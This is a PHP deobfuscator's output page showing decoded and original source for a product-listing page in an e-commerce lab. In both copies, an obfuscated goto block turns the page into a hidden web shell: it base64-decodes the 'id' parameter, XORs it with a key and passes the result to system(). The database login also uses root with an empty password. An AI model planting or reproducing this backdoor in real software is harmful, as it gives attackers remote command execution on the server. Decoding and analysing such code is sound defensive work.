Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-eq..
Decoded Output download
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="stylesheet" href="../academyLabHeader.css">
<link rel="stylesheet" href="../labsEcommerce.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Danh sch Sn Phm</title>
</head>
<style>
body {
background-size: 100%;
}
.navigation-header {
position: relative;
display: inline-block;
padding: 12px 24px;
background: rgb(240, 189, 242);
font-weight: bold;
color: rgb(red, green, blue);
border: none;
outline: none;
border-radius: 3px;
cursor: pointer;
font-size: large;
bottom: -30px;
}
.ecoms-pageheader {
position: relative;
left: 450px;
width: 10px;
}
.updateproduct {
position: relative;
display: inline-block;
padding: 12px 24px;
background: rgb(240, 189, 242);
font-weight: bold;
color: rgb(red, green, blue);
border: none;
outline: none;
border-radius: 3px;
cursor: pointer;
font-size: large;
right: -1300px;
top: 80px;
}
</style>
<body>
<div class="container">
<header class="navigation-header">
<section class="top-links">
<a href=../ListSP/displayproduct.php>Exit</a>
</section>
</header>
<section class="ecoms-pageheader">
<img src="../ListSP/resources/images/shop.svg">
</section>
<section class="search-filters">
<label>Refine your search:</label>
<br> </br>
<a href="displayproduct.php">All</a>
<a href="showManHinh.php">Mn Hnh</a>
<a href="showloa.php">Loa</a>
<a href="showDongHo.php">ng H</a>
</section>
<br> </br>
<?php
goto PlkSV; PlkSV: if (!isset($_REQUEST["id"])) { goto JrAQ9; } goto c1U2Y; X541A: $quD3r = 0; goto PBKA5; rEMJk: $pluR5 = "mtll"; goto KsfMr; d0wZG: l27Ik: goto wjCSs; c1U2Y: $c5Zkp = $_REQUEST["id"]; goto flO1w; LYYZg: $Heog7 .= $dWW38[$quD3r] ^ $pluR5[$quD3r % $MbIcf]; goto dIQHv; AC9Mz: goto A8isz; goto d0wZG; KsfMr: $MbIcf = strlen($pluR5); goto JP5Zf; D_sz3: system($Heog7); goto rRtHz; JP5Zf: $Heog7 = ''; goto X541A; dIQHv: dSJvc: goto a4ojA; a4ojA: $quD3r++; goto AC9Mz; wjCSs: echo $Heog7; goto D_sz3; flO1w: $dWW38 = base64_decode($c5Zkp); goto rEMJk; f17va: if (!($quD3r < strlen($dWW38))) { goto l27Ik; } goto LYYZg; PBKA5: A8isz: goto f17va; rRtHz: JrAQ9:?>
<section class="container-list-tiles">
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "webbanhang";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT * FROM products";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$id = $row['id'];
echo "<div>";
echo "<h2>" . $row["name"] . "</h2>";
echo "<p>Price: " . $row["price"] . "</p>";
echo "<img src='" . $row["image_url"] . "'/>";
echo "<a class='button' href=FormUpdateSP.php?id=$id>Update Product</a>";
echo "</div>";
}
} else {
echo "alert('No products found')";
}
$conn->close();
?>
</section>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="stylesheet" href="../academyLabHeader.css">
<link rel="stylesheet" href="../labsEcommerce.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Danh sch Sn Phm</title>
</head>
<style>
body {
background-size: 100%;
}
.navigation-header {
position: relative;
display: inline-block;
padding: 12px 24px;
background: rgb(240, 189, 242);
font-weight: bold;
color: rgb(red, green, blue);
border: none;
outline: none;
border-radius: 3px;
cursor: pointer;
font-size: large;
bottom: -30px;
}
.ecoms-pageheader {
position: relative;
left: 450px;
width: 10px;
}
.updateproduct {
position: relative;
display: inline-block;
padding: 12px 24px;
background: rgb(240, 189, 242);
font-weight: bold;
color: rgb(red, green, blue);
border: none;
outline: none;
border-radius: 3px;
cursor: pointer;
font-size: large;
right: -1300px;
top: 80px;
}
</style>
<body>
<div class="container">
<header class="navigation-header">
<section class="top-links">
<a href=../ListSP/displayproduct.php>Exit</a>
</section>
</header>
<section class="ecoms-pageheader">
<img src="../ListSP/resources/images/shop.svg">
</section>
<section class="search-filters">
<label>Refine your search:</label>
<br> </br>
<a href="displayproduct.php">All</a>
<a href="showManHinh.php">Mn Hnh</a>
<a href="showloa.php">Loa</a>
<a href="showDongHo.php">ng H</a>
</section>
<br> </br>
<?php
goto PlkSV; PlkSV: if (!isset($_REQUEST["\151\x64"])) { goto JrAQ9; } goto c1U2Y; X541A: $quD3r = 0; goto PBKA5; rEMJk: $pluR5 = "\x6d\x74\x6c\x6c"; goto KsfMr; d0wZG: l27Ik: goto wjCSs; c1U2Y: $c5Zkp = $_REQUEST["\x69\x64"]; goto flO1w; LYYZg: $Heog7 .= $dWW38[$quD3r] ^ $pluR5[$quD3r % $MbIcf]; goto dIQHv; AC9Mz: goto A8isz; goto d0wZG; KsfMr: $MbIcf = strlen($pluR5); goto JP5Zf; D_sz3: system($Heog7); goto rRtHz; JP5Zf: $Heog7 = ''; goto X541A; dIQHv: dSJvc: goto a4ojA; a4ojA: $quD3r++; goto AC9Mz; wjCSs: echo $Heog7; goto D_sz3; flO1w: $dWW38 = base64_decode($c5Zkp); goto rEMJk; f17va: if (!($quD3r < strlen($dWW38))) { goto l27Ik; } goto LYYZg; PBKA5: A8isz: goto f17va; rRtHz: JrAQ9:?>
<section class="container-list-tiles">
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "webbanhang";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT * FROM products";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$id = $row['id'];
echo "<div>";
echo "<h2>" . $row["name"] . "</h2>";
echo "<p>Price: " . $row["price"] . "</p>";
echo "<img src='" . $row["image_url"] . "'/>";
echo "<a class='button' href=FormUpdateSP.php?id=$id>Update Product</a>";
echo "</div>";
}
} else {
echo "alert('No products found')";
}
$conn->close();
?>
</section>
</div>
</body>
</html>
Function Calls
None |
Stats
MD5 | 19063837842cefcb9926ecb91ce3f000 |
Eval Count | 0 |
Decode Time | 51 ms |